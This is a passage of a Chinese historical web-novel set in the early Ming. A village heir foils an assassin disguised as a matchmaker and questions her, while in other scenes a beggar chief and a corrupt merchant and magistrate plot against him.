杨成点头:“我是杨成,不过我不是糖霜工坊的东家,这糖霜工坊是杨家湾共有产业。” 媒婆儿愣了一下,转头看向白寡妇,白寡妇急坏了,赶紧解释。 “你别听他瞎说,就是他的!这孩子心好,非说大家都帮忙了,要给大家分润。” 媒婆儿笑嘻嘻地说道:“就是嘛,我也听说什么杨草,杨牛的,都是幌子。 你不愿意当商户,这很好啊。知县老爷也不愿意自己女婿是个商人啊。 只要确定你是杨成就行了,对了,小姐让我带了她的画像来,让你先看看,免得以后后悔。” 白寡妇大喜,这未来媳妇的门第教养都不必担心,唯一要担心的就是模样长相。 按理说,如果官家小姐没啥缺陷,是不太可能主动嫁给乡下土财主的。 白寡妇很了解儿子,这小子从小就喜欢看漂亮姑娘,还曾策划过英雄救美。 结果大概是表演太拙劣,被李香儿一眼看穿,让杨草和杨牛白挨了很多拳脚。 所以对一个没见过面的姑娘,杨成是否愿意冒新婚之夜开盲盒的风险,白寡妇并没有把握。 如果杨成因此拒绝这门亲事,不但错失良缘,还得罪了知县老爷,可谓是一跟头摔在屎上,倒霉加倍。 如今人家小姐托媒婆儿带画儿来,说明对自己的长相很有信心,这成功率可就大大增加。 见媒婆儿从怀里掏出一张画儿来铺到桌子上,杨成和白寡妇都凑上去看起来。 这是一幅标准的工笔画,画上的姑娘长得不能说好看,简直是绝世美人儿。 就在杨成看着画流口水时,身后的媒婆儿手在烟袋锅上轻轻一拧,烟袋锅被拧了下来。 烟杆上露出一截闪着寒光的尖刺,对准低头看画的杨成心脏部位,猛然刺下! 杨成看似专心看画,却一直注意着她的动静,眼角余光扫到寒光,猛然向前趴在桌子上。 右脚后撩,力道刚猛,直奔媒婆儿的下三路而去。 那媒婆儿一击不中,吃了一惊,又见杨成招式狠辣下流,被迫后退,啐了一口。 “呸,无赖!” 杨成将白寡妇挡在身后,顺手拎起一直放在近处的斧子。 “怪不得你抽烟时烟袋锅上的烟丝都不变红,果然是实心的,峨眉刺改的吧。” 媒婆儿也不废话,手持钢刺再次扑上,动作凌厉狠辣,速度快得带出破风之声。 杨成抡起斧子,大开大合,全然不顾这是在屋里,斧刃挂着风声,碰到什么,什么就碎。 白寡妇匍匐于地,蛄蛹着爬出房间,然后拼命往外跑,大喊起来。 “救命啊,媒婆儿杀人了,快来人啊!” 那媒婆儿本以为杨成不过是个乡下小子,没想到他身手如此敏捷,而且打起架来如此生猛。 那种气势,完全不像个生瓜蛋子,而像个身经百战,血雨腥风里活下来的人。 媒婆儿的功夫本来高过杨成,但一来一击不中,大出意料,心神不宁。 二来知道拖的时间越久,自己脱身的可能性就越小,出招越急,心中越浮躁。 因此在杨成一米长的斧子压制之下,她几次想贴近身子强攻,却都被抡回来了。 普通人抡斧子,一抡到底后要么重新举起来抡,要么转身抡,这都会给她留下空隙。 可杨成抡斧子,就像掘地求生里坐在缸里抡镐的家伙一样,用胳膊和手腕将斧子抡成一个圆儿。 如此一来,既不用重新举起来,又不用转身,连绵不绝,体力耗尽前绝无破绽。 等白寡妇一喊,媒婆儿知道自己今天肯定是杀不成了,她见杨成堵在门口,翻身后退。 一脚将窗户踹飞,从屋里直接飞了出去。 刚一落地,就见白寡妇披头散发地站在大门口,整个大院已经围满了人。 男女老少都有,其中站在前面的,都是青壮男丁,一人手中握着一把和杨成一样的斧子。 杨成从屋里走出来,淡淡的说道。 “你功夫是很高,也许能杀死几个人。但这么多把斧子,你最后一定会被砍成肉酱的。 不如你把话说清楚,我可以放你走。我不想为了不相干的人,让我的族人死伤。” 第四十章 唐快嘴 媒婆儿傲然一笑,露出满口小白牙:“没什么可说的,我不会出卖别人。 你要不想死人,就让我离开,否则我死之前,至少可以杀你们六个人。” 村民们顿时紧张起来,就像面对只有六颗子弹的枪一样。 胜利最终是属于我们的,但前提是要先死六个,这事儿就很难受了。 媒婆儿深谙人性自私的一面,说完这话就拿着峨眉刺,指向村民们。 “谁想死就上来,不想死的往后退。别犯傻,别信什么族人照顾的鬼话。 你死了,你家就完了。没孩子的被吃绝户,有孩子的很快也会变成绝户!” 出人意料的,村民们没人退缩,只是把斧头攥得更紧了。 媒婆儿皱起两道浓眉,膏药下的脸色有些迟疑,耳边传来杨成平淡的声音。 “从我爷爷当族长开始,杨家湾就没有过这种事儿。所以他们不信你。 如果你今天要杀的是别人,他们或许还能给你留条活路。 可你要杀我,那就……撒网!” 媒婆儿还在琢磨杀你有啥不同,一时间没反应过来,两张渔网已经从天而降。 杨草和杨牛偷偷爬到两侧的厢房顶上,一人拿一张渔网,抡圆了洒下来。 因为刘家湾就在河边上,河面宽的地方有三十多米,因此很多人家都有渔网。 自从让潘家和刘通明牌去抽白鹿山的血后,杨成就准备好有人来暗杀自己了。 而且他知道,既然能被白鹿山选中,杀手的功夫一定不会弱。 而对付杀手,除了靠村里的斧头帮外,还要尽量减少伤亡,渔网无疑是很好的选择。 院子虽然大,但鸡围子占了很大的面积,小作坊还没拆,也占了很大面积。 所以院子中间站人的地方有限,两张大网撒开后面积很大,几乎罩满了。 媒婆儿贴地一滚,躲开了杨牛的那张网,却躲不开第二张了。 被渔网罩住后,她迅速往外钻,但此时杨成已经快步赶过来,斧刃带着风声砍在地上,离她的脸只有三寸。 媒婆儿不动了,村民们一拥而上,将她的峨眉刺从渔网网眼里抢下来。 想要把她捆上,又忌惮她功夫了得,会杀死六个人,最后还是杨草出了主意。 直接把渔网掏个洞,把她的头伸出来,然后把渔网直接捆在她身上。 看着村民们手忙脚乱的操作,杨成忽然想到过去看过的一部电影,好像也是这么干的。 不过那个电影里,女的身上只有渔网…… 捆好后,众人看向杨成,杨成指了指小作坊:“把她扔里面吧,我审审她。” 众人迟迟不肯离去,围在院子外,生怕再有人来刺杀杨成,白寡妇更是后怕不已。 “我真傻,我只知道给成子找娘子,却没想到这年头媒婆儿也是会杀人的……” 杨成走进小作坊,看着被渔网裹得像蚕蛹一样的媒婆儿,坐在她对面许久不用的炉子上。 “白鹿山花了多少钱,让你来这儿送死?” 媒婆儿翻了个白眼儿:“果然,在你们这些大财主眼里心里,就只有钱。” 杨成皱皱眉:“难不成你还是免费干的?白鹿山是你爹呀?还是你干爹呀?” 媒婆儿大怒,两贴大膏药之间露出的脸涨得通红。 “你放屁!别以为我不知道干爹是什么意思!” 杨成伸手去摸媒婆儿的脸,凶悍的媒婆拼命往后缩,声音也带出了一丝惊慌。 “你想干什么?我告诉你,我师父很厉害的,你敢动我,她会杀了你……啊!” 杨成粗暴地撕下了一贴膏药,上面带着好多根茸茸的细毛,就像撕下了一块猕猴桃的皮。 被挡在小作坊外面的人面面相觑,不知道杨成究竟怎么动了媒婆儿,以至于发出这样的惨叫声。 媒婆儿疼得眼泪汪汪的,看见杨成又伸手冲另一块膏药去了,急忙哀求道。 “你动就动好了,但能不能慢一点,这么快我受不了,太疼了!” 村民们掩面皱眉,觉得杨成此举有辱门风,不过随即也表示了谅解。 毕竟人家都要杀他了,他报复一下过分吗?想来以里面的环境条件,他也就是吓唬吓唬。 混在人群里的李香儿,竖着耳朵,越听越恼怒:“无赖!人渣!杨成,放开那个媒婆儿……” 老族长咳嗽一声:“大家放心,成子不是那种人,他有分寸的。” 杨成淡淡一笑,他早就感觉这媒婆儿虽然看着老,但其实年龄不大,不是那种刀枪不入的老江湖。 他果然放慢速度,轻轻撕下另一块膏药,媒婆儿松了口气,声音如释重负。 “对对,就是这样,啊,好了!” 这下连老族长也皱眉了,成子,你他妈的干什么呢?难道要填第一房了?这么不挑食吗? 随着两贴膏药撕下去,媒婆露出了本来的面目。 原本故意画丑的眉毛,故意画大的嘴岔子,和用扑在脸上的黄粉,早被打斗的汗水冲了下去。 这是个只有十四五岁的姑娘,一张娃娃脸,大眼睛,小嘴儿,嫩得一掐就能出水儿。 杨成都惊了:“你这化妆和演技真不错,我虽然感觉你没那么老,可没想到这么小。” 媒婆儿得意地昂起头:“我师父也说过,在她徒弟里,无论功夫还是化妆,我都是最好的!” 杨成顺杆爬:“想来尊师一定大大有名,不知是哪位前辈?” 媒婆儿顿时闭嘴了,脖子梗着,眼睛斜着看向房顶,一副要打要杀随便的架势。 杨成笑了笑:“不说你师父,说你自己行吧。你差点把我杀了,告诉我个名字不过分吧。” 媒婆儿想了想:“真名不能说,不过认识我的人都叫我唐快嘴,师父说我太能说了。” 杨成点点头:“白鹿山既然不给你钱,你为什么要替他杀我?” 唐快嘴看了杨成一眼:“你不用套我,我没承认是白鹿山找的我。” 杨成不解:“那你为何要杀我?你和我有仇?” 唐快嘴哼了一声:“有钱人有几个好东西?先杀后问,都没有冤死的。何况你是杨老虎的孙子!” 第四十一章 吴王 杨成一愣,杨老虎的孙子,这几乎是他的护身符,现在变成催命符了? “你和我爷爷有仇?” “哼,乱臣贼子,人人得而诛之!” 两人此时的声音不约而同地都放低了,外面人自从听见媒婆儿喊“好了”后,就啥也听不见了。 众人虽然相信杨成的人品,但个别男人脑海中依旧脑补出一幅画面。 杨成擦擦额头的汗水,捡起被扔在衣服上的烟袋,点着火儿,正在美美的过肺。 此时无声胜有声…… “我还是头一次听见有人叫我爷爷乱臣贼子,他不过是保家护邻而已,没给谁当过臣子。 听你着口气,难道你是元人?可你这模样不像蒙古人啊?” 唐快嘴冷笑一声:“元朝腐败,人人得而诛之。你爷爷抗辽自然不算乱臣贼子。” 杨成忽然灵光一闪:“你是张士诚的人!” 唐快嘴一愣:“你怎么不猜我是陈友谅的人呢?” 杨成淡然道:“海盐这地方,当年是东吴、西吴、蒙元三方交界处。陈友谅离这里还远着呢。 这三方都觉得海盐该效忠自己,你既然说我爷爷是乱臣贼子,那自然是在这三方之内了。 西吴王如今成了大明皇帝,你又不是元人,那自然就是张士诚的人了。” 这里有个有趣的事儿,那就是当初群雄割据的时候,张士诚和朱元璋都看上了吴王这个称号。 因为当时两人起家都在吴地,所以都觉得自己是正宗的,谁也不肯改名。 这就搞得大家很被动,称呼时很不方便,后来就把张士诚叫东吴,把朱元璋叫西吴。 类似班级里如果有两个人都叫李欣,大家就会叫男李欣,女李欣。 如果两个人都是女的,大家就会叫大李欣,小李欣。 如果两个人同年同月同日生…… 唐快嘴怒道:“闭嘴,吴王的名讳也是你能随便叫的!” 杨成笑道:“背后骂皇上,我还敢说朱元璋呢,你能把我怎么样?” 唐快嘴被噎了一下,翻翻白眼:“果然是天生反骨,对谁都不忠诚,下贱!” 杨成缓缓收起笑容:“你好好说话,骂我可以,但不能骂我爷爷!” 唐快嘴哼道:“你连皇帝都敢骂,你爷爷多啥了?你能把我怎么样?” 杨成缓缓伸出双手,唐快嘴花容失色,但仍咬牙硬撑着。 “姑奶奶既然敢来杀你,就想过一切后果。有本事你就来,姑奶奶皱皱眉头,不算好汉!” 杨成停住手,忽然冲外面喊了一句:“杨树在吗?让他进来。” 外面一阵骚动,片刻后,一个男人打开门走进小作坊。 此人造型奇特,年岁不知大小,胡子拉碴的,眼睛一大一小,一个看天一个看地。 腿上裤子还算完整,虽然有几个破洞,但没有暴露重要部位。 上身没穿衣服,套着个渔网,和唐快嘴身上的是撞衫同款。 原本他除了冬天,都是不穿衣服的,原因是虱子咬得难受。 自从杨成号召大家准备渔网后,杨树就一直把渔网穿在身上,虽然他根本就不会撒网。 嘴角流着口水,一手拿着半个馒头,一手拿着半个煮鸡蛋,兜里还揣着一个,吃得直掉渣。 杨成隆重介绍:“这是我们村同姓不通婚的反面案例,一把年纪了,也没人肯嫁给他。 但其实他是一个好人来的,心地善良,乐于助人,不拘小节,尤其是很忠诚,你最看重的美德。” 唐快嘴呆呆地看着杨成,不知道他隆重介绍这么一个傻子是啥意思。 杨成回头笑着问杨树:“你看,这姑娘好不好看?” 杨树看了看,很诚实地点头:“好看,但没有小香儿好看,也没有小香儿白!” 杨成对杨树的审美观点很赞同:“不和李香儿比,她是很好看的了。她给你做娘子,你喜不喜欢?” 杨树嘿嘿地傻笑着,凑近了看着唐快嘴,嘴里的鸡蛋黄掉的更多了。 唐快嘴要吓傻了,拼命尖叫起来:“你个疯子,你让他滚开,快让他滚开啊!” 杨树愣了一下,很委屈地擦擦眼睛:“我不是疯子,我只是傻子。成哥说过,这不一样。” 杨成邪恶地看着唐快嘴:“如果接下来你还不会好好说话,今天晚上我就让他明媒正娶你。 以后你就是我杨家湾的人了,我还得喊你一声嫂子呢。不用担心过日子的事儿,我村福利很好的。” 唐快嘴全身发抖,拼命摇头,眼泪哗哗地流,比杨树的口水流得都多。 她做好了赴死的准备,却没做好被恶心死的准备。 杨成笑着拍拍杨树的肩膀:“去吧,去找我娘,让她再给你兜里揣几个鸡蛋,我看就剩一个了。” 杨树点点头,咧着嘴开心地走了,丝毫没因为丢了个娘子而影响心情。 “你是张士诚的什么人,为什么觉得我爷爷是乱臣贼子,又是怎么被人找来杀我的。” 唐快嘴惊魂未定,哽咽道:“我师父说她深受吴王之恩,不敢稍忘。 我父母也都说吴王好,轻徭薄赋,恩养百姓。不似朱元璋,杀人屠城。 便是今日,当年的吴王之地,赋税徭役也重于其他地方。 我家乡有人想逃离吴地,另寻去处,都被差役抓住,痛打之后流放充军。 当初海盐也属吴王治下,你爷爷自立杨家军,吴王并未怪罪。 可吴王形势危急之时,杨家军并未出过一兵一卒。甚至吴王派人来调兵,还被你爷爷赶走了! 他身居吴地,不忠吴王,犯上作乱。所以我说你爷爷是乱臣贼子,你有什么不乐意的?” 杨成默然。他知道,唐快嘴不是在胡说八道,在吴地的百姓心里,张士诚确实比朱元璋强多了。 可海盐大概是个例外,这个三不管的地方,虽然名义上属于吴地,可并没有得到过张士诚的荫庇。 三方势力纵横来去,都把这地方当成野外补给站,要吃要喝要女人要壮丁,却没人想过保护它。 就像每个人都很爱护自己的私家车,却对共享单车毫不爱惜一样,骑完就扔,甚至还踹一脚。 我需要保护的时候,你装没看见。等你需要保护的时候,又来道德绑架我。 未得其惠,何当其罪? 第四十二章 乱臣贼子 杨成淡然道:“如果这样就算是乱臣贼子,那这世上的乱臣贼子真是太多了。 从商汤灭夏,到西周伐纣。秦王一扫六合,灭周称帝。楚汉同为秦臣,灭秦争霸。 哪一个不是在君王治下,造反作乱?你数得过来吗?” 唐快嘴反驳道:“你说的这些人,都是王朝末世,君主昏庸,他们不曾受君之恩。 吴王恩养百姓,人心所向,岂能和这些相比?” 杨成呵呵道:“柴家对赵匡胤何其恩遇,宋太祖背信弃义,黄袍加身。 曹家对司马家何等恩重,司马懿洛水之誓,司马昭当街弑君。 红巾军大胜之日,韩林儿沉船而死,朱元璋才能顺利登基。 就是你的吴王张士诚,也曾向蒙元讨封,一边当人家的太尉,一边不停造反。 你说这天下之人,乱臣贼子这么多,你为啥非要盯着我爷爷呢? 还不是因为这些人你连根汗毛都碰不着,所以柿子专检软的捏吗?” 唐快嘴自负口齿伶俐,与人辩论从未吃亏过,想不到被杨成一番话说得哑口无言。 情急之下反驳道:“谁欺软怕硬了,你以为我不敢动朱元璋?我们一直都……” 杨成目光如刀:“你们一直都在密谋造反。所以你们既缺钱,又缺人。 杀我之后,你们能得到一大笔钱,又能落个刺杀乱臣贼子的好名声,可谓一举两得。” 唐快嘴一愣,心虚地反驳道:“不对,才不是你说的那样呢,我……我们主要是锄奸,不是光为了钱。” 杨成不理她,继续沿着思路往下捋:“这是造反的事儿,白鹿山虽然黑,但他没有这种造反精神。 他就算要雇你们,也不会直接接触,所以找你的,和找杨二蛋的应该是同一个人,孙则,对吧?” 唐快嘴张大了小嘴儿:“你,你早就知道是孙则?那你还审我干嘛?” 杨成笑了笑:“杨二蛋都招了,我当然知道找他的人是孙则。 我真正要知道的,是你的来路。这样我才能知道,这事究竟是孙则干的,还是孙二爷干的。” 唐快嘴眼珠儿一转:“出面的人是孙则,但真正指使他的是孙二爷。 孙二爷收了白鹿山一大笔银子,让孙则拿出一半儿来,请我来杀你!” 杨成淡然一笑:“你们想拉孙二爷一起造反,孙二爷不肯,对吧?” 唐快嘴一愣,不可思议地看着杨成,杨成伸了个懒腰。 “我很小的时候,就听人说过这个孙二爷。这人五岁讨饭,做到丐帮团头,不是无能之辈。 我爷爷成立杨家军的时候,他帮下弟子没人参加,但经常给我爷爷送些消息。 不过听说,不管哪路兵马来了,只要找到他,都能得到些消息。 这是个老滑头,他绝不会跟着任何人造反的。但他也不会出卖你们。 你觉得我不好对付,就想骗我去对付孙二爷,逼得他跟你们联手,这办法不管用。” 唐快嘴忽然道:“杨成,我觉得之前孙则把我骗了,你不像是他说的那样。” 杨成挑挑眉毛:“他说我什么样?” “说你欺行霸市,先卖假糖霜给白鹿山,再卖真糖霜给别人,搞垮正当商人以牟取暴利。” 杨成苦笑道:“看来还是外地人好骗啊,白鹿山都成正当商人了?” “还说你爷爷当初借带兵之际,巧取豪夺,聚敛财富,所以你才这么有钱。” 唐快嘴看了看外面的院子,声音低了下来,这破旧的大院子,就是无声的证据。 “还说你好色如命,在村里称王称霸,偷看姑娘洗澡,还扬言自己天赋异禀,要娶七个娘子才够……” 唐快嘴的脸色有些发红,觉得自己确实有些轻信孙则的话了。 看看外面那些村民的表现,对杨成的关心和保护分明发自内心,这哪是对待一个村霸的态度? “最后这些话,说的倒没啥大错。”杨成点点头。 唐快嘴愕然抬头,看着杨成,不知道他指的是哪句话没啥大错。 是好色如命?还是偷看姑娘洗澡?又或者是天赋异禀…… 不等唐快嘴想完,杨成上前一把抓住渔网,撕扯起来。吓得唐快嘴惊叫起来。 “不要不要,你想知道的我都告诉你了,你不要……” 杨成扯开渔网,指着小作坊的门:“你可以走了,烟袋留下,给你师父带句话。 我爷爷也好,我也好,不是乱臣贼子,但也不当什么愚忠之辈。 我爷爷当时只想护住海盐城的百姓,我现在力量小,只想护住杨家湾。 我们只想好好说着,不管是谁,不管是顶着多大的名头,都别想随便欺负我们。” 唐快嘴揉着自己被捆麻的胳膊,挑衅地看着杨成。 “那要是朝廷欺负你呢?” 杨成沉默许久:“水能载舟,亦能覆舟。” 唐快嘴眼睛一亮,抿嘴一笑:“好,这句话我会带给我师傅。烟袋你先留着,我会拿回去的!” 小作坊的门被推开了,衣衫凌乱,披头散发,满身是土,满脸泪痕的唐快嘴走了出来。 因为只揉了胳膊,没揉腿,捆得麻木的腿走路姿势有点怪,踉踉跄跄的。 村民们表情丰富地看着走出来的杨成,尤其是看到他果然拎着烟袋的时候,都露出了“果然如此”的表情。 所以当杨成让大家让开路,放走这个忽然变得年轻漂亮的女媒婆儿时,大家都很意外。 “成子,她要杀你啊,难道不是应该留下来填房的吗?放心,外面不会知道的!” “就是啊,感情这东西,可以慢慢培养的嘛!” “你懂什么,成子不留她自有道理。这样凶狠的女人当娘子,半夜睡觉都得睁一只眼睛!” 杨成很无语:“各位叔伯兄弟,咱们杨家湾不是拐卖妇女的山沟沟,不做那种丧尽天良的事儿! 我也没怎么样她,我俩不过是唇枪舌剑,逞一番口舌之能罢了。 我摸过她的底了,她身上都是麻烦,真送到官府去,反而会被人借题发挥,把杨家湾拉入不测之地。 既不能留她,也不能送官,干脆让她走吧,也算结个善缘。” 众人这才让开道路,唐快嘴走了几步,脚步开始恢复正常,忽然发现人群中,一个长得又白又美的女子在瞪着自己。 唐快嘴忽然想到刚才傻子杨树说的李香儿,不知出于什么心理,她忽然又瘸了几下。 还用手捂住脸,假装呜呜哭着就跑了。李香儿一跺脚,也红着眼睛跑了。 只留下懵逼的杨成,和满心遗憾的白寡妇。 “唉,知县女儿是假的,媒婆儿放跑了,李香儿气跑了。 儿啊,你还要兼祧七家呢……” 第四十三章 根基 栖流所里,孙二爷坐在椅子上,抽着烟袋,孙则推门而入。 “叔,你找我。” 孙二爷点点头:“白莲教那丫头,走了?” 孙则点点头:“她说出来日子不短了,师父会惦记,昨天下午就走了。” 孙二爷抽了口烟:“我没儿子,你爹又死得早,我是把你当儿子养的。 可你有没有把我当爹看,我就不知道了。也许在你心里,我就是个活不了几天的老叫花子罢了。” 孙则一惊,扑通一声跪倒:“叔这话从何说起,侄儿一直把叔当亲爹一样,从无贰心啊!” 孙二爷叹息道:“杨二蛋自首时,杨成没来找咱们,你知道是为什么吗?” 孙则硬着头皮道:“杨二蛋?他不是说白鹿山雇他去放火吗? 别说他后来承认是假的,就算是真的,这跟咱们也没关系啊。” 孙二爷哼了一声:“所以我说,你觉得我活不了几天了。 这两年,我把这帮兄弟都交给你带了。你就觉得,我什么都不知道了。 杨二蛋跟着你混饭吃,又不是一天两天了。那白鹿山知道杨二蛋是谁?” 孙则连连磕头:“是侄儿的错。因为贪图白鹿山的银钱,把杨二蛋介绍给了他。 但侄儿也再三告诫杨二蛋,只可放火,把工坊毁了便是,不可伤人。” 孙二爷喷出一口烟,烟雾在空中舞动,久久不散。 “那白莲教的丫头呢?她也是去放火的?我都不敢沾惹她们,你居然敢雇她去杀人!” 孙则猛然抬头,他知道唐快嘴是绝不会告密的,而且杨家湾也没有消息传出来啊! “很奇怪吗?她昨晚跟我告别时,身边的峨眉刺没了,脸色汗毛少了两块儿,扑粉都盖不住。 我跟她师父是旧相识,她若在别处吃了亏,怎会不告诉我?可见是不能说的事。 你请她办事儿时,一定再三叮嘱过不能让我知道吧,嗯?” 孙则汗流浃背:“叔,侄儿不是贪图那些钱财,而是担心和白鹿山翻脸。 这几年白鹿山势头大,官府里又有大靠山,咱们和他关系匪浅,何必为了一个小子闹翻呢? 杨老虎对我们并无恩情,我们何须顾虑?只要不让人知道是我们干的,也不会有什么麻烦。” 孙二爷冷笑一声:“想不到你历练这些年,眼皮子居然还这么浅。 根基二字,你懂吗?你眼中只看到白鹿山这几年得势,可他根基不稳,你却看不出来。 他手下是有几个狠人,可都是上不得台面,见不得光的,只能躲在外面。 朝廷的靠山,当初是因为他能给钱,能干脏活才庇护他。 如今他已经被杨成逼入绝境,官方却不见动静,可见靠山已经不稳了。” 孙则不信:“知县郭纲一向维护白鹿山,此次杨二蛋告白鹿山,也被郭纲压下了。 这说明白鹿山朝中人脉依旧,也许他只是觉得还不到需要动用靠山的程度吧?” 孙二爷摇头道:“白鹿山面临的局面,比你想的要困难得多。 他想杀杨成的思路没错,可惜对象错了。如果杨成是个普通的乡下人,早就已经死了。 可杨成躲在杨家湾,除了官府,就没人能动他,他却迟迟不动用官府的力量,这说明什么? 说明他现在还没动用的力量,都是会强力反噬他的,那是他拼死一搏时才会用的。 相反,杨成的根基,此时已经比他深了。我不愿意帮他,就是因为不愿意当垫背的。” 孙则低声道:“叔是否高看了杨成?他有何根基可言? 杨家湾不过能保他条性命而已,他吓得躲在杨家湾不出门,本就是怕了白鹿山。 杨二蛋和唐快嘴两次下手,他抓住了都不敢杀,一个逼迫自首,一个直接放走。 他既不愿和白鹿山上堂对峙,也不敢来找咱们的麻烦,想来也知道不是对手。” 孙二爷叹了口气:“如今朝廷初定,外患未平。朝廷养不起太多官吏。 可地方上要想太平,朝廷力量不足,便要有民间力量来补充,所以给了宗族很大的自治之权。 杨家湾这样的大村大族,其根基远非白鹿山那点势力可比,就是咱们也不行。 更何况以杨成的身份,能调动的可不仅仅是杨家湾。咱们这点人算个屁! 你别看临时那些进城的乡下人怕你,那是他们没有领头的。 乡下人就是这样的,平时软弱得像羔羊,可一旦有了领头的,就会变成狼群! 你太年轻,没见过民变。你没见过当初杨老虎振臂一呼,整个海盐百姓红眼睛的样子!” 孙二爷忍不住打了个寒颤,熄灭了的烟袋锅洒出一些烟灰,落在地上。 这气氛终于感染了孙则,他缩了缩肩膀:“叔,不至于吧。” 孙二爷冷笑道:“我不了解杨成,可我认识杨老虎,他的孙子,不会是废物。 他到现在还没找我来,不是他怕我,是他现在要集中精力对付白鹿山。 等白鹿山的事儿一了,他一定会来找我的。到时候我该怎么办? 把你交出去,我和你爹都绝了后!不把你交出去,整个海盐的花子只怕都得完蛋!” 孙则张口结舌:“这……他敢攻打县城不成?” 孙二爷重新点燃了烟袋:“那倒不会,他对付咱们还用得着造反吗? 他对付白鹿山,到目前为止,用的手段都合理合法,到应天府大堂都占理。 花子是贱民,咱们干的活儿也不干净,可谓全身是漏洞,以这种手段,还怕捅不死? 我不怕白鹿山,是因为互相捏着把柄,他不敢和咱们同归于尽。 可咱们有杨成什么把柄?就算有,一旦上堂,海盐百姓上个万民书,你猜朝廷信他还是信咱们?” 孙则终于害怕了:“叔,那怎么办?你得救我啊!对了,白鹿山说他还有后手的。 他出的主意,让小唐以帮知县说亲的身份去的,白鹿山说要把郭纲拉下水,一起对付杨成!” 孙二爷抽着烟,不吱声,许久后才叹了口气。 “如果郭纲愿意陪着白鹿山拼命,他还有机会,可郭纲是个踩屎不沾鞋的人,他肯吗?” “我知道你是个踩屎不沾鞋的人,不过这一次,我掉进屎坑里了。 你若把我拉出来,还能把手洗干净。你若是袖手旁观,我死前也一定泼你一身!” 第四十四章 贼船 白鹿山和郭纲面对着一桌儿美食,却在讨论屎的问题,盲听起来就像两条蛆在对话一样。 郭纲脸色极其难看:“白鹿山,你大概忘了自己在跟谁说话吧。你敢威胁我? 我是大明知县,七品正堂,你不过是个商人! 你真以为你有了点钱,找了个靠山,就能和我相提并论了? 你是什么底细谁不清楚?你又不是刚掉进屎坑里的,你就从来没爬出过屎坑。” 白鹿山面色如常,带着一种鱼死网破的平静,盯着郭纲的眼睛。 “郭大人,我是商人不假,可这个商人现在和你是一条绳上的蚂蚱。 这两年你花了我多少银子,你心里没数吗?你以为你不拿钱,就不算贪腐?自欺欺人罢了。 商人行贿,最多不过坐牢充军,大人你贪腐,听说朝廷是要剥皮萱草的呀。” 郭纲呵呵一笑,说不出的冰冷:“本官既然敢花你的钱,就不会怕你去说。 人嘴两层皮,谁说谁有理。我身无长物,家徒四壁,你说我贪腐,证据呢?” 白鹿山狞笑着拍拍手:“牛师爷,请出来吧。” 一脸猥琐的牛师爷从内堂走出来,笑呵呵地看着两人,拱手为礼。 也不等郭纲礼让,自己施施然地坐在椅子上,拿起酒壶自斟一杯,吃喝起来。 白鹿山哈哈大笑:“郭大人,现在你明白了吧。权利不是一个名头,而是实际的掌控。 你虽有知县之名,却不懂人心。他们从上到下都是我在养的,你虽贵为知县,能给他们什么? 你的那点俸禄,别说雇师爷养奴仆,就是自己家吃肉喝酒都成问题。 你猜,我把你告到应天府,有他们作证,你会不会被剥皮萱草?” 郭纲盯着白鹿山,忽然微笑起来,白鹿山也点头微笑,这个表情他太熟悉了。 每次他心里想杀了对方,确有不得不维持表面友好的时候,就会做出这个表情。 “白鹿山,你自以为懂人心,可你曾对谁有过忠义之心吗?” 白鹿山皱皱眉:“郭大人,似你我这般人,谈‘忠义’这么高级的东西,是不是太假了?” 郭纲慢慢啜饮着美酒:“你没真心忠于过谁,所以你不懂忠义为何物,难怪了。” 此时牛师爷已经吃饱喝足,将酒杯往地上一摔,刺啦一声撕开衣襟,露出一道长长的刀疤。 “白鹿山,我从小就是老爷的伴读,后来老太爷临死,把家产交给我打理,好让老爷专心科举。 我被奸商骗了,把老爷的家产赔了个干净。我本想自杀谢罪的,是老爷背着我跑到医馆,救活了我。 老爷啃着窝头考上的进士,不管到哪儿做官,每个月的俸禄都交给我打理。 我和你做生意,替老爷养奴仆,那都是我的事儿。千刀万剐,剥皮萱草,与老爷无干。” 白鹿山的脸色变了,他沉默许久,无奈地叹息一声,低沉道。 “大人,我本不愿让事情走到这一步的,但实在没法子了。 若是你我以利相交,此事过后尚可为友。可你逼我不得不如此,今后只怕也难善了了。” 郭纲拿着酒杯的手停住了,他飞快地在脑子里想着自己还有什么考虑不周的地方。 忽然间,他将酒杯砸在桌子上,盯着白鹿山喘着粗气,却不说话。 白鹿山惨笑道:“你想到了,但你不敢说。你怕自己想错了,反而提醒了我,对吧? 不用担心,你猜对了。我最得力的兄弟已经在府城照顾犬子和少爷了。 大人最好别节外生枝,我那兄弟身背几条人命,早已是百死之身,不在乎多杀个秀才。” 牛师爷伸手从靴子里抽出一把匕首,眼睛看向郭纲,郭纲铁青着脸,冲他摆摆手。 “白鹿山,此事了解后,咱们一刀两断。你再有不法之事,本官第一个拿你!” 白鹿山拱手:“多谢大人,还请大人找个由头,把杨成从杨家湾调出来。 在他从杨家湾到县城这段路上,我会拼死一搏,无论成败,都与大人无关。” 郭纲冷哼道:“你既然这么说,想来这由头已经想好了,就直说吧。” 白鹿山点点头:“京福斋有个伙计,为了验货,吃了刘通送来的糖霜,已经中毒身亡了。 这是人命关天的大事,请县尊大人立刻抓捕刘通及杨草,严刑拷打。” 郭纲皱眉:“契约里没有杨成的事儿,严刑拷打杨草,杨成就会出来吗?” 白鹿山点头:“杨草是杨成的替身,杨成若不肯出来,他在杨家湾就会名誉扫地。 以我对他的了解,他一定会来县衙亲自辩白的。不过凡事也有万一。 若他当真不肯出头,县尊大人就说杨草把他供出来了,派捕快抓到县衙便是。” 郭纲咬着牙道:“杨成那样的身份,无凭无据,公然抓捕,激起民变怎么办?” 白鹿山冷笑道:“大人,城中守备兵马是干什么的?若是他敢聚众谋反,灭了就是!” 见郭纲眉毛倒竖,白鹿山又道:“如今朝廷杀伐果断,对当年吴国之地更是另眼相看。 我听说白莲教一直在民间游荡,煽动吴地百姓聚众谋反,对抗朝廷。 大人若带兵一鼓而灭,朝中自然有人为大人歌功颂德,高升指日可待。” 郭纲深吸一口气:“你懂个屁!我知道你在朝中有靠山,可此事太冒险了。 你当万岁是傻子吗?还是觉得你能买通城中所有兵士,瞒过锦衣卫的调查?” 其实对郭纲来说,锦衣卫此时还是个传说,他也是听京城传来的消息,说万岁组建了锦衣卫。 据说短短一年时间,已经有不少官员被锦衣卫查处,原因各不相同。 这时候搞出民变这么大的事儿,还要打着白莲教谋反的旗号,怎么想都不是好事儿。 白鹿山何尝不明白,但他此时决不能让郭纲打退堂鼓,因此安慰道。 “县尊大人过虑了,朝廷灭张士诚才多少年,万岁宝剑犹腥,江南血迹未干。 为了区区一个杨成,百姓会起民变?如牛师爷这般忠义之人,天下能有几个?” 